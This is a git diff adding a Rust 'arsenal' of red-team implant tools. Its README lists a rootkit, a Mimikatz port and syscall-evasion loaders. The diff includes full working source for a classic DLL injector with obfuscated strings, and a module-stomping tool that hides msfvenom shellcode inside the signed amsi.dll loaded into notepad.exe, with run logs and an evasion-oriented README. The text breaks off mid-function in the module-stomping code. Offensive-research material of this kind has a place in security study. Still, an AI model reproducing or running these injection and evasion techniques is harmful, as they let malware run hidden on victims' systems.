diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..42461aa --- /dev/null +++ b/.gitmodules @@ -0,0 +1,24 @@ +[submodule "memN0ps/eagle-rs"] + path = memN0ps/eagle-rs + url = git@github.com:memN0ps/eagle-rs.git +[submodule "memN0ps/arsenal-rs"] + path = memN0ps/arsenal-rs + url = git@github.com:memN0ps/arsenal-rs.git +[submodule "memN0ps/psyscalls-rs"] + path = memN0ps/psyscalls-rs + url = git@github.com:memN0ps/psyscalls-rs.git +[submodule "memN0ps/mmapper-rs"] + path = memN0ps/mmapper-rs + url = git@github.com:memN0ps/mmapper-rs.git +[submodule "memN0ps/srdi-rs"] + path = memN0ps/srdi-rs + url = git@github.com:memN0ps/srdi-rs.git +[submodule "memN0ps/mordor-rs"] + path = memN0ps/mordor-rs + url = git@github.com:memN0ps/mordor-rs.git +[submodule "memN0ps/mimiRust"] + path = memN0ps/mimiRust + url = git@github.com:memN0ps/mimiRust.git +[submodule "memN0ps/pemadness-rs"] + path = memN0ps/pemadness-rs + url = git@github.com:memN0ps/pemadness-rs.git diff --git a/README.md b/README.md index f0ce8c1..1910b8e 100644 --- a/README.md +++ b/README.md @@ -66,6 +66,21 @@ My experiments in weaponizing [Rust](https://www.rust-lang.org/) for implant dev | [RC4_Encryption](../master/Injection_Rc4_Loader/src/main.rs) | RC4 Decrypted shellcode | | [Steal Token](../master/token_manipulation/src/main.rs) | Steal Token From Process| | [Keyboard Hooking](../master/keyboard_hooking/src/main.rs) | Keylogging by hooking keyboard with SetWindowsHookEx | +| [memN0ps arsenal: shellcode_runner_classic-rs](https://github.com/memN0ps/arsenal-rs/blob/main/shellcode_runner_classic-rs/src/main.rs) | Classic shellcode runner/injector using `ntapi` | +| [memN0ps arsenal: dll_injector_classic-rs](https://github.com/memN0ps/arsenal-rs/blob/main/dll_injector_classic-rs/inject/src/main.rs) | Classic DLL Injection using `windows-sys` | +| [memN0ps arsenal: module_stomping-rs](https://github.com/memN0ps/arsenal-rs/blob/main/module_stomping-rs/src/main.rs) | Module Stomping / Module Overloading / DLL Hollowing using `windows-sys` | +| [memN0ps arsenal: obfuscate_shellcode-rs](https://github.com/memN0ps/arsenal-rs/blob/main/obfuscate_shellcode-rs/src/main.rs) | Simple shellcode XOR and AES obfuscator | +| [memN0ps arsenal: process_hollowing-rs](https://github.com/memN0ps/arsenal-rs/blob/main/process_hollowing-rs/src/main.rs) | Process Hollowing using `ntapi` | +| [memN0ps arsenal: rdi-rs](https://github.com/memN0ps/arsenal-rs/blob/main/rdi-rs/reflective_loader/src/loader.rs) | Reflective DLL Injection using `windows-sys` | +| [memN0ps: eagle-rs](https://github.com/memN0ps/eagle-rs/blob/master/driver/src/lib.rs) | Rusty Rootkit: Windows Kernel Driver in Rust for Red Teamers using `winapi` and `ntapi` | +| [memN0ps: psyscalls-rs](https://github.com/memN0ps/psyscalls-rs/blob/main/parallel_syscalls/src/parallel_syscalls.rs) | Rusty Parallel Syscalls library using `winapi` | +| [memN0ps: mmapper-rs](https://github.com/memN0ps/mmapper-rs/blob/main/loader/src/lib.rs) | Rusty Manual Mapper using `winapi` | +| [memN0ps: srdi-rs](https://github.com/memN0ps/srdi-rs/blob/main/reflective_loader/src/lib.rs) | Rusty Shellcode Reflective DLL Injection using `windows-sys` | +| [memN0ps: mordor-rs - freshycalls_syswhispers](https://github.com/memN0ps/mordor-rs/blob/main/freshycalls_syswhispers/tests/syscaller.rs) | Rusty FreshyCalls / SysWhispers1 / SysWhispers2 / SysWhispers3 library using `windows-sys` | +| [memN0ps: mordor-rs - hells_halos_tartarus_gate](https://github.com/memN0ps/mordor-rs/blob/main/hells_halos_tartarus_gate/src/lib.rs) | Rusty Hell's Gate / Halo's Gate / Tartarus' Gate Library using `windows-sys` | +| [memN0ps: pemadness-rs](https://github.com/memN0ps/pemadness-rs/blob/main/pemadness/src/lib.rs) | Rusty Portable Executable Parsing Library (PE Parsing Library) using `windows-sys` | +| [memN0ps: mimiRust](https://github.com/memN0ps/mimiRust/blob/main/src/main.rs) | Mimikatz made in Rust by @ThottySploit. The original author deleted their GitHub account, so it's been uploaded for community use. | + ## Compiling the examples in this repo diff --git a/memN0ps/arsenal-rs/LICENSE b/memN0ps/arsenal-rs/LICENSE new file mode 100644 index 0000000..43a19c8 --- /dev/null +++ b/memN0ps/arsenal-rs/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2022 memN0ps + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/memN0ps/arsenal-rs/README.md b/memN0ps/arsenal-rs/README.md new file mode 100644 index 0000000..db41e70 --- /dev/null +++ b/memN0ps/arsenal-rs/README.md @@ -0,0 +1,2 @@ +# arsenal-rs + Rusty Arsenal diff --git a/memN0ps/arsenal-rs/dll_injector_classic-rs/.gitignore b/memN0ps/arsenal-rs/dll_injector_classic-rs/.gitignore new file mode 100755 index 0000000..6985cf1 --- /dev/null +++ b/memN0ps/arsenal-rs/dll_injector_classic-rs/.gitignore @@ -0,0 +1,14 @@ +# Generated by Cargo +# will have compiled files and executables +debug/ +target/ + +# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries +# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html +Cargo.lock + +# These are backup files generated by rustfmt +**/*.rs.bk + +# MSVC Windows builds of rustc generate these, which store debugging information +*.pdb diff --git a/memN0ps/arsenal-rs/dll_injector_classic-rs/Cargo.toml b/memN0ps/arsenal-rs/dll_injector_classic-rs/Cargo.toml new file mode 100755 index 0000000..4c2e3a8 --- /dev/null +++ b/memN0ps/arsenal-rs/dll_injector_classic-rs/Cargo.toml @@ -0,0 +1,14 @@ +[workspace] + +members = [ + "inject", + "testdll", +] + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html +[profile.release] +opt-level = "z" # Optimize for size. +lto = true # Enable Link Time Optimization +codegen-units = 1 # Reduce number of codegen units to increase optimizations. +panic = "abort" # Abort on panic +strip = true # Automatically strip symbols from the binary. \ No newline at end of file diff --git a/memN0ps/arsenal-rs/dll_injector_classic-rs/README.md b/memN0ps/arsenal-rs/dll_injector_classic-rs/README.md new file mode 100755 index 0000000..4f94944 --- /dev/null +++ b/memN0ps/arsenal-rs/dll_injector_classic-rs/README.md @@ -0,0 +1,35 @@ +# Classic DLL Injection + +Simple classic DLL Injector made for fun, practice, and for testing things. Check out my Manual Mapper in Rust: https://github.com/memN0ps/mmapper-rs or Shellcode Reflective DLL Injection in Rust: https://github.com/memN0ps/srdi-rs for alternatives. + +## Usage + +``` +Usage: inject.exe +``` + +## Example + +Enable logger (for debugging only) + +``` +PS C:\Users\memn0ps\Documents\Github\arsenal\dll_injector_classic-rs\target\debug> $env:RUST_LOG="info" +``` + +Inject DLL + +``` +PS C:\> .\inject.exe notepad.exe C:\Users\memn0ps\Documents\Github\arsenal\dll_injector_classic-rs\target\debug\testdll.dll + +[2022-11-03T03:12:47Z INFO inject] Process: notepad.exe +[2022-11-03T03:12:47Z INFO inject] Path: C:\Users\memn0ps\Documents\Github\arsenal\dll_injector_classic-rs\target\debug\testdll.dll +[2022-11-03T03:12:47Z INFO inject] Process ID: 5272 +[2022-11-03T03:12:47Z INFO inject] Allocated Memory: 0x2067a7b0000 +[2022-11-03T03:12:47Z INFO inject] Kernel32 Address: 0x7ffe67650000 +[2022-11-03T03:12:47Z INFO inject] LoadLibraryA address: 0x7ffe676704f0 +[2022-11-03T03:12:47Z INFO inject] Injection Complete! +``` + +DLL Injected + +![Injected](./injected.png) \ No newline at end of file diff --git a/memN0ps/arsenal-rs/dll_injector_classic-rs/inject/Cargo.toml b/memN0ps/arsenal-rs/dll_injector_classic-rs/inject/Cargo.toml new file mode 100755 index 0000000..48345f1 --- /dev/null +++ b/memN0ps/arsenal-rs/dll_injector_classic-rs/inject/Cargo.toml @@ -0,0 +1,40 @@ +[package] +name = "inject" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html +[profile.release] +opt-level = "z" # Optimize for size. +lto = true # Enable Link Time Optimization +codegen-units = 1 # Reduce number of codegen units to increase optimizations. +panic = "abort" # Abort on panic +strip = true # Automatically strip symbols from the binary. + +[dependencies] +env_logger = "0.9.0" +log = "0.4.17" +#sysinfo = "0.20.4" +obfstr = "0.3.0" +#ntapi = "0.4.0" + +[dependencies.windows-sys] +version = "0.42.0" +features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_System_Threading", + "Win32_UI_WindowsAndMessaging", + "Win32_System_Memory", + "Win32_System_Diagnostics_Debug", + "Win32_System_SystemServices", + "Win32_System_WindowsProgramming", + "Win32_System_LibraryLoader", + "Win32_NetworkManagement_IpHelper", + "Win32_Networking_WinSock", + "Win32_System_SystemInformation", + "Win32_System_Environment", + "Win32_System_ProcessStatus", + "Win32_Globalization", + "Win32_System_Diagnostics_ToolHelp", +] diff --git a/memN0ps/arsenal-rs/dll_injector_classic-rs/inject/src/main.rs b/memN0ps/arsenal-rs/dll_injector_classic-rs/inject/src/main.rs new file mode 100755 index 0000000..6605a7b --- /dev/null +++ b/memN0ps/arsenal-rs/dll_injector_classic-rs/inject/src/main.rs @@ -0,0 +1,155 @@ +use obfstr::obfstr; +use std::{env, mem::size_of, ptr::null_mut}; +use windows_sys::Win32::{ + Foundation::{CloseHandle, INVALID_HANDLE_VALUE}, + System::{ + Diagnostics::{ + Debug::WriteProcessMemory, + ToolHelp::{ + CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, + TH32CS_SNAPPROCESS, + }, + }, + LibraryLoader::{GetModuleHandleA, GetProcAddress}, + Memory::{VirtualAllocEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE}, + Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS}, + }, +}; + +fn main() { + env_logger::init(); + + let args: Vec = env::args().collect(); + + if args.len() < 3 { + println!("Usage: inject.exe "); + std::process::exit(1); + } + + let process_name = &args[1]; + let file_path = &args[2]; + + log::info!("Process: {}", process_name); + log::info!("Path: {}", file_path); + + let process_id = + get_process_id_by_name(process_name).expect(obfstr!("Failed to get process ID")); + + log::info!("Process ID: {}", process_id); + + let hprocess = unsafe { OpenProcess(PROCESS_ALL_ACCESS, 0, process_id) }; + + if hprocess == 0 { + panic!("{}", obfstr!("[-] Error: failed to open process")); + } + + let allocated_memory = unsafe { + VirtualAllocEx( + hprocess, + null_mut(), + file_path.len(), + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE, + ) + }; + + log::info!("Allocated Memory: {:p}", allocated_memory); + + if allocated_memory.is_null() { + panic!("{}", obfstr!("[-] Error: failed to allocate memory in the process")); + } + + let mut tmp = 0; + let wpm_result = unsafe { + WriteProcessMemory( + hprocess, + allocated_memory, + file_path.as_ptr() as _, + file_path.len(), + &mut tmp, + ) + }; + + if wpm_result == 0 { + panic!("{}", obfstr!("[-] Error: failed to write to process memory")); + } + + let k32_address = unsafe { GetModuleHandleA(obfstr!("KERNEL32.DLL\0").as_ptr()) }; + + if k32_address == 0 { + panic!("{}", obfstr!("[-] Error: failed to get module handle")); + } + + log::info!("Kernel32 Address: {:#x}", k32_address); + + let loadlib_address = unsafe { + GetProcAddress(k32_address, obfstr!("LoadLibraryA\0").as_ptr()) + .expect(obfstr!("Failed to get LoadLibraryA address")) + }; + + log::info!("LoadLibraryA address: {:#x}", loadlib_address as usize); + + let mut tmp = 0; + let hthread = unsafe { + CreateRemoteThread( + hprocess, + null_mut(), + 0, + Some(std::mem::transmute(loadlib_address as usize)), + allocated_memory, + 0, + &mut tmp, + ) + }; + + if hthread == 0 { + panic!("{}", obfstr!("[-] Error: failed to create remote thread")); + } + + unsafe { CloseHandle(hthread) }; + unsafe { CloseHandle(hprocess) }; + + log::info!("Injection Complete!"); +} + +/// Gets the process ID by name, take process name as a parameter +fn get_process_id_by_name(process_name: &str) -> Result { + let h_snapshot = unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) }; + + if h_snapshot == INVALID_HANDLE_VALUE { + return Err(obfstr!("Failed to call CreateToolhelp32Snapshot").to_owned()); + } + + let mut process_entry: PROCESSENTRY32 = unsafe { std::mem::zeroed::() }; + process_entry.dwSize = size_of::() as u32; + + if unsafe { Process32First(h_snapshot, &mut process_entry) } == 0 { + return Err(obfstr!("Failed to call Process32First").to_owned()); + } + + loop { + if convert_c_array_to_rust_string(process_entry.szExeFile.to_vec()).to_lowercase() + == process_name.to_lowercase() + { + break; + } + + if unsafe { Process32Next(h_snapshot, &mut process_entry) } == 0 { + return Err(obfstr!("Failed to call Process32Next").to_owned()); + } + } + + return Ok(process_entry.th32ProcessID); +} + +/// Converts a C null terminated String to a Rust String +pub fn convert_c_array_to_rust_string(buffer: Vec) -> String { + let mut rust_string: Vec = Vec::new(); + for char in buffer { + if char == 0 { + break; + } + rust_string.push(char as _); + } + String::from_utf8(rust_string).unwrap() +} \ No newline at end of file diff --git a/memN0ps/arsenal-rs/dll_injector_classic-rs/injected.png b/memN0ps/arsenal-rs/dll_injector_classic-rs/injected.png new file mode 100755 index 0000000..4b7af1e Binary files /dev/null and b/memN0ps/arsenal-rs/dll_injector_classic-rs/injected.png differ diff --git a/memN0ps/arsenal-rs/dll_injector_classic-rs/testdll/Cargo.toml b/memN0ps/arsenal-rs/dll_injector_classic-rs/testdll/Cargo.toml new file mode 100755 index 0000000..8d7ecfb --- /dev/null +++ b/memN0ps/arsenal-rs/dll_injector_classic-rs/testdll/Cargo.toml @@ -0,0 +1,36 @@ +[package] +name = "testdll" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html +[lib] +crate-type = ["cdylib"] + +[profile.release] +opt-level = "z" # Optimize for size. +lto = true # Enable Link Time Optimization +codegen-units = 1 # Reduce number of codegen units to increase optimizations. +panic = "abort" # Abort on panic +strip = true # Automatically strip symbols from the binary. + +[dependencies.windows-sys] +version = "0.42.0" +features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_System_Threading", + "Win32_UI_WindowsAndMessaging", + "Win32_System_Memory", + "Win32_System_Diagnostics_Debug", + "Win32_System_SystemServices", + "Win32_System_WindowsProgramming", + "Win32_System_LibraryLoader", + "Win32_NetworkManagement_IpHelper", + "Win32_Networking_WinSock", + "Win32_System_SystemInformation", + "Win32_System_Environment", + "Win32_System_ProcessStatus", + "Win32_Globalization", + "Win32_System_Diagnostics_ToolHelp", +] \ No newline at end of file diff --git a/memN0ps/arsenal-rs/dll_injector_classic-rs/testdll/src/lib.rs b/memN0ps/arsenal-rs/dll_injector_classic-rs/testdll/src/lib.rs new file mode 100755 index 0000000..1c354b3 --- /dev/null +++ b/memN0ps/arsenal-rs/dll_injector_classic-rs/testdll/src/lib.rs @@ -0,0 +1,27 @@ +use std::ffi::c_void; +use windows_sys::Win32::{ + Foundation::{BOOL, HINSTANCE}, + System::SystemServices::DLL_PROCESS_ATTACH, + UI::WindowsAndMessaging::MessageBoxA, +}; + +#[no_mangle] +#[allow(non_snake_case)] +pub unsafe extern "system" fn DllMain( + _module: HINSTANCE, + call_reason: u32, + _reserved: *mut c_void, +) -> BOOL { + if call_reason == DLL_PROCESS_ATTACH { + MessageBoxA( + 0 as _, + "Rust DLL injected!\0".as_ptr() as _, + "Rust DLL\0".as_ptr() as _, + 0x0, + ); + + 1 + } else { + 1 + } +} diff --git a/memN0ps/arsenal-rs/module_stomping-rs/.gitignore b/memN0ps/arsenal-rs/module_stomping-rs/.gitignore new file mode 100644 index 0000000..6985cf1 --- /dev/null +++ b/memN0ps/arsenal-rs/module_stomping-rs/.gitignore @@ -0,0 +1,14 @@ +# Generated by Cargo +# will have compiled files and executables +debug/ +target/ + +# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries +# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html +Cargo.lock + +# These are backup files generated by rustfmt +**/*.rs.bk + +# MSVC Windows builds of rustc generate these, which store debugging information +*.pdb diff --git a/memN0ps/arsenal-rs/module_stomping-rs/Cargo.toml b/memN0ps/arsenal-rs/module_stomping-rs/Cargo.toml new file mode 100644 index 0000000..363c863 --- /dev/null +++ b/memN0ps/arsenal-rs/module_stomping-rs/Cargo.toml @@ -0,0 +1,40 @@ +[package] +name = "module_stomping-rs" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html +[profile.release] +opt-level = "z" # Optimize for size. +lto = true # Enable Link Time Optimization +codegen-units = 1 # Reduce number of codegen units to increase optimizations. +panic = "abort" # Abort on panic +strip = true # Automatically strip symbols from the binary. + +[dependencies] +env_logger = "0.9.0" +log = "0.4.17" +#sysinfo = "0.20.4" +obfstr = "0.3.0" +#ntapi = "0.4.0" + +[dependencies.windows-sys] +version = "0.42.0" +features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_System_Threading", + "Win32_UI_WindowsAndMessaging", + "Win32_System_Memory", + "Win32_System_Diagnostics_Debug", + "Win32_System_SystemServices", + "Win32_System_WindowsProgramming", + "Win32_System_LibraryLoader", + "Win32_NetworkManagement_IpHelper", + "Win32_Networking_WinSock", + "Win32_System_SystemInformation", + "Win32_System_Environment", + "Win32_System_ProcessStatus", + "Win32_Globalization", + "Win32_System_Diagnostics_ToolHelp", +] \ No newline at end of file diff --git a/memN0ps/arsenal-rs/module_stomping-rs/README.md b/memN0ps/arsenal-rs/module_stomping-rs/README.md new file mode 100644 index 0000000..b54178c --- /dev/null +++ b/memN0ps/arsenal-rs/module_stomping-rs/README.md @@ -0,0 +1,114 @@ +# Module Stomping / Module Overloading / DLL Hollowing + +A basic/simple PoC in Rust made for fun, practice, and learning. Check out my Manual Mapper in Rust: https://github.com/memN0ps/mmapper-rs or Shellcode Reflective DLL Injection in Rust: https://github.com/memN0ps/srdi-rs for alternatives. + +## Description + +Module stomping injects a Microsoft-signed DLL (e.g amsi.dll) using a classic DLL Injection technique that uses as shown here: [Classic DLL Injection in Rust](https://github.com/memN0ps/arsenal-rs/tree/main/dll_injector_classic-rs). It will then read the `AddressOfEntryPoint` of the injected DLL from the target process and overwrite the content with shellcode. + +In this example we use the following steps to perfrom a classic DLL Injection of `amsi.dll` inside `notepad.exe` and then inject our shellcode inside `amsi.dll's` entry point: + +* `OpenProcess` - Open a handle to the target process with `PROCESS_ALL_ACCESS` +* `VirtualAllocEx` - Allocate memory for `amsi.dll` full path +* `WriteProcessMemory` - Write the DLL path to the target process memory +* `GetModuleHandleA` - Get a handle to `kernel32.dll` +* `GetProcAddress` - Get the address of `LoadLibraryA` +* `CreateRemoteThread` - Create a thread in the target process + +We can now inject our shellcode into the target process + +* Get the module (amsi.dll) base address from the target process (notepad.exe) that we just injected +* `ReadProcessMemory` - To read the the DOS and NT headers to get the `AddressOfEntryPoint` of `asmi.dll` in the target process (notepad.exe) +* `WriteProcessMemory` - To overwrite the `AddressOfEntryPoint` content with our shellcode +* `CreateRemoteThread`- Create a thread to run the contents of our shellcode inside `amsi.dll` that is inside `notepad.exe` in this example. + +Microsoft Signed DLL +``` +PS C:\Users\memn0ps\Documents\GitHub\arsenal-rs\module_stomping-rs\target\release> sigcheck C:\Windows\System32\amsi.dll + +Sigcheck v2.90 - File version and signature viewer +Copyright (C) 2004-2022 Mark Russinovich +Sysinternals - www.sysinternals.com + +c:\windows\system32\amsi.dll: + Verified: Signed + Signing date: 1:41 PM 9/11/2022 + Publisher: Microsoft Windows + Company: Microsoft Corporation + Description: Anti-Malware Scan Interface + Product: Microsoft« Windows« Operating System + Prod version: 10.0.19041.2075 + File version: 10.0.19041.2075 (WinBuild.160101.0800) + MachineType: 64-bit +``` + +Process Monitor's Load Image event shows that `amsi.dll` was loaded. + +![Process Monitor](./procmon.png) + +Process Explorer shows that `amsi.dll` was loaded too and we can see that our shellcode was executed from the `MessageBoxA` pop-up, which was generated by `msfvenom -p windows/x64/messagebox -f rust` + +![Process Monitor](./injection.png) + +We can look at `notepad.exe` threads that are running, which shows that thread `9616` with the start address of `Amsi!AmsiUacScan+0xabe0`. + +![Process Monitor](./thread.png) + + +We can inspect this memory location in more detail with `Windbg`. The memory location resolves to `Amsi!DLLMainCRTStartup` and the bytes located in this memory location contains our shellcode. + +![Process Monitor](./windbg.png) + +## Usage + +``` +.\module_stomping-rs.exe +``` + +## Example + +Build + +``` +cargo build --release +``` + +Enable logging for debugging + +``` +$env:RUST_LOG="debug" +``` + +Inject amsi.dll +``` +PS C:\Users\memn0ps\Documents\GitHub\arsenal-rs\module_stomping-rs\target\release> .\module_stomping-rs.exe notepad.exe C:\Windows\System32\amsi.dll amsi.dll + +[2022-11-07T23:12:34Z INFO module_stomping_rs] [+] Process: notepad.exe +[2022-11-07T23:12:34Z INFO module_stomping_rs] [+] Path: C:\Windows\System32\amsi.dll +[2022-11-07T23:12:34Z INFO module_stomping_rs] [+] Allocated Memory: 0x202d42c0000 +[2022-11-07T23:12:34Z INFO module_stomping_rs] [+] Kernel32 Address: 0x7ffa6a510000 +[2022-11-07T23:12:34Z INFO module_stomping_rs] [+] LoadLibraryA address: 0x7ffa6a5304f0 +[2022-11-07T23:12:34Z INFO module_stomping_rs] [+] C:\Windows\System32\amsi.dll DLL Injection Complete! +[2022-11-07T23:12:34Z INFO module_stomping_rs] [+] Module Base: 0x7ffa5a6d0000 +[2022-11-07T23:12:34Z INFO module_stomping_rs] [+] Remote Buffer Length: 0x148 +[2022-11-07T23:12:34Z INFO module_stomping_rs] [+] Bytes Read: 328 +[2022-11-07T23:12:34Z INFO module_stomping_rs] [+] IMAGE_DOS_HEADER: 0x000002a5c4144b30 +[2022-11-07T23:12:34Z INFO module_stomping_rs] [+] IMAGE_NT_HEADERS: 0x000002a5c4144c30 +[2022-11-07T23:12:34Z INFO module_stomping_rs] [+] AddressOfEntryPoint: 0x7ffa5a6de820 +PS C:\Users\memn0ps\Documents\GitHub\arsenal-rs\module_stomping-rs\target\release> +``` + +## Note + +A more advanced version of this can be found here https://github.com/boku7/Ninja_UUID_Runner by Bobby Cooke ([@0xBoku](https://twitter.com/0xBoku)), which mixes up different process injection techniques for evasion. + + +## References and Credits + +* https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection +* https://thewover.github.io/Dynamic-Invoke/ +* https://github.com/hasherezade/module_overloading +* https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing +* https://williamknowles.io/living-dangerously-with-module-stomping-leveraging-code-coverage-analysis-for-injecting-into-legitimately-loaded-dlls/ +* https://github.com/boku7/Ninja_UUID_Runner +* https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/ \ No newline at end of file diff --git a/memN0ps/arsenal-rs/module_stomping-rs/injection.png b/memN0ps/arsenal-rs/module_stomping-rs/injection.png new file mode 100644 index 0000000..55e3803 Binary files /dev/null and b/memN0ps/arsenal-rs/module_stomping-rs/injection.png differ diff --git a/memN0ps/arsenal-rs/module_stomping-rs/procmon.png b/memN0ps/arsenal-rs/module_stomping-rs/procmon.png new file mode 100644 index 0000000..f10ef01 Binary files /dev/null and b/memN0ps/arsenal-rs/module_stomping-rs/procmon.png differ diff --git a/memN0ps/arsenal-rs/module_stomping-rs/src/main.rs b/memN0ps/arsenal-rs/module_stomping-rs/src/main.rs new file mode 100644 index 0000000..78a0beb --- /dev/null +++ b/memN0ps/arsenal-rs/module_stomping-rs/src/main.rs @@ -0,0 +1,352 @@ +use obfstr::obfstr; +use std::{env, mem::size_of, ptr::null_mut}; +use windows_sys::Win32::{ + Foundation::{CloseHandle, INVALID_HANDLE_VALUE}, + System::{ + Diagnostics::{ + Debug::{ReadProcessMemory, WriteProcessMemory, IMAGE_NT_HEADERS64}, + ToolHelp::{ + CreateToolhelp32Snapshot, Module32First, Module32Next, Process32First, + Process32Next, MODULEENTRY32, PROCESSENTRY32, TH32CS_SNAPMODULE, + TH32CS_SNAPMODULE32, TH32CS_SNAPPROCESS, + }, + }, + LibraryLoader::{GetModuleHandleA, GetProcAddress}, + Memory::{VirtualAllocEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE}, + SystemServices::{IMAGE_DOS_HEADER}, + Threading::{CreateRemoteThread, OpenProcess, WaitForSingleObject, PROCESS_ALL_ACCESS}, + }, +}; + +// Could add this as an arg to download from a URL or read file of disk but meh... +//msfvenom -p windows/x64/messagebox -f rust +const BUF: [u8; 295] = [ + 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, + 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, + 0x18, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a, + 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, + 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, + 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, + 0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44, 0x8b, 0x40, 0x20, 0x49, + 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, + 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, + 0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6, 0x58, 0x3e, 0x44, 0x8b, + 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41, 0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, + 0x49, 0x01, 0xd0, 0x3e, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, + 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, + 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12, 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, + 0xc1, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x00, 0x00, 0x00, 0x3e, 0x4c, 0x8d, + 0x85, 0x0f, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83, 0x56, 0x07, 0xff, 0xd5, + 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x48, 0x65, 0x6c, 0x6c, 0x6f, + 0x2c, 0x20, 0x66, 0x72, 0x6f, 0x6d, 0x20, 0x4d, 0x53, 0x46, 0x21, 0x00, 0x4d, 0x65, 0x73, 0x73, + 0x61, 0x67, 0x65, 0x42, 0x6f, 0x78, 0x00, +]; + +fn main() { + env_logger::init(); + + let args: Vec = env::args().collect(); + + if args.len() < 4 { + println!(r"Usage: .\module_stomping-rs.exe "); + println!(r"Example: .\module_stomping-rs.exe notepad.exe C:\Windows\System32\amsi.dll amsi.dll"); + std::process::exit(1); + } + + let process_name = &args[1]; + let file_path = &args[2]; + let file_name = &args[3]; + + log::info!("[+] Process: {}", process_name); + log::info!("[+] Path: {}", file_path); + + let mut process = Process { + process_name: process_name.to_owned(), + process_id: 0, + file_path: file_path.to_owned(), + file_name: file_name.to_owned(), + process_handle: 0, + allocated_memory: 0, + }; + + // Inject a legitimate Microsoft signed DLL (e.g. amsi.dll) + inject_dll(&mut process); + + // Inject the shellcode into the Microsoft Signed DLL inside the target process (e.g notepad.exe -> amsi.dll) + inject_shellcode(&mut process); +} + +struct Process { + process_name: String, + process_id: u32, + file_path: String, + file_name: String, + process_handle: isize, + allocated_memory: usize, +} + +/// Injects a DLL inside the target process (Classic DLL Injection) +fn inject_dll(process: &mut Process) { + process.process_id = + get_process_id_by_name(&process.process_name).expect(obfstr!("Failed to get process ID")); + + process.process_handle = unsafe { 